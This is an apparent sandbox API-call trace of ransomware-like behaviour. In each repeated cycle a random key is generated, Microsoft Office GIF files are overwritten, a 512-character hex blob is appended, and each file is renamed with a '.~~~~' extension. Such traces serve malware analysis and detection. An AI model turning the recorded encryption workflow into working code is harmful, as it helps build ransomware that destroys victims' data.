	[0130.129] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.129] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.129] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25011929463) returned 1
	[0130.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7026eb0, dwHighDateTime=0x1d60e1e)) 
	[0130.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822b50
	[0130.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822b50 | out: hHeap=0x300000) returned 1
	[0130.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2600
	[0130.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.130] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.130] GetLastError () returned 0x0
	[0130.131] GetLastError () returned 0x0
	[0130.131] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.131] GetLastError () returned 0x0
	[0130.131] GetLastError () returned 0x0
	[0130.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffcd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.142] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x328, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x328, lpOverlapped=0x0) returned 1
	[0130.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.145] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.145] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.145] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.146] CloseHandle (hObject=0x130) returned 1
	[0130.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif.~~~~")) returned 1
	[0130.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.148] GetLastError () returned 0x0
	[0130.148] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.150] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.150] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.150] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25014042889) returned 1
	[0130.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb704d010, dwHighDateTime=0x1d60e1e)) 
	[0130.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822bc0
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822bc0 | out: hHeap=0x300000) returned 1
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2568
	[0130.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.151] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.152] GetLastError () returned 0x0
	[0130.152] GetLastError () returned 0x0
	[0130.152] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.152] GetLastError () returned 0x0
	[0130.152] GetLastError () returned 0x0
	[0130.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffeb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.166] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x148, lpOverlapped=0x0) returned 1
	[0130.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.168] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.169] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.169] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.169] CloseHandle (hObject=0x130) returned 1
	[0130.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif.~~~~")) returned 1
	[0130.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.170] GetLastError () returned 0x0
	[0130.233] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.267] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.267] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25025691571) returned 1
	[0130.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb71579b0, dwHighDateTime=0x1d60e1e)) 
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822db8
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822db8 | out: hHeap=0x300000) returned 1
	[0130.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2c88
	[0130.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.268] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.268] GetLastError () returned 0x0
	[0130.268] GetLastError () returned 0x0
	[0130.268] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.269] GetLastError () returned 0x0
	[0130.269] GetLastError () returned 0x0
	[0130.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe6d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.270] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x193, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x193, lpOverlapped=0x0) returned 1
	[0130.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.273] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.273] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.273] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.273] CloseHandle (hObject=0x130) returned 1
	[0130.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif.~~~~")) returned 1
	[0130.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.276] GetLastError () returned 0x0
	[0130.276] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.277] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.277] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.277] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25026758148) returned 1
	[0130.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb717db10, dwHighDateTime=0x1d60e1e)) 
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822df0
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822df0 | out: hHeap=0x300000) returned 1
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c28f8
	[0130.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.279] GetLastError () returned 0x0
	[0130.279] GetLastError () returned 0x0
	[0130.279] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.279] GetLastError () returned 0x0
	[0130.279] GetLastError () returned 0x0
	[0130.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.280] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x185, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x185, lpOverlapped=0x0) returned 1
	[0130.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.283] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.283] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.283] CloseHandle (hObject=0x130) returned 1
	[0130.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.284] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif.~~~~")) returned 1
	[0130.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.303] GetLastError () returned 0x0
	[0130.304] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.305] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.305] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.306] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25029575657) returned 1
	[0130.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb71c9dd0, dwHighDateTime=0x1d60e1e)) 
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822e28
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822e28 | out: hHeap=0x300000) returned 1
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2db8
	[0130.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.307] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.307] GetLastError () returned 0x0
	[0130.307] GetLastError () returned 0x0
	[0130.307] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.308] GetLastError () returned 0x0
	[0130.308] GetLastError () returned 0x0
	[0130.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.311] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1d0, lpOverlapped=0x0) returned 1
	[0130.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.314] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.314] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.314] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.314] CloseHandle (hObject=0x130) returned 1
	[0130.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif.~~~~")) returned 1
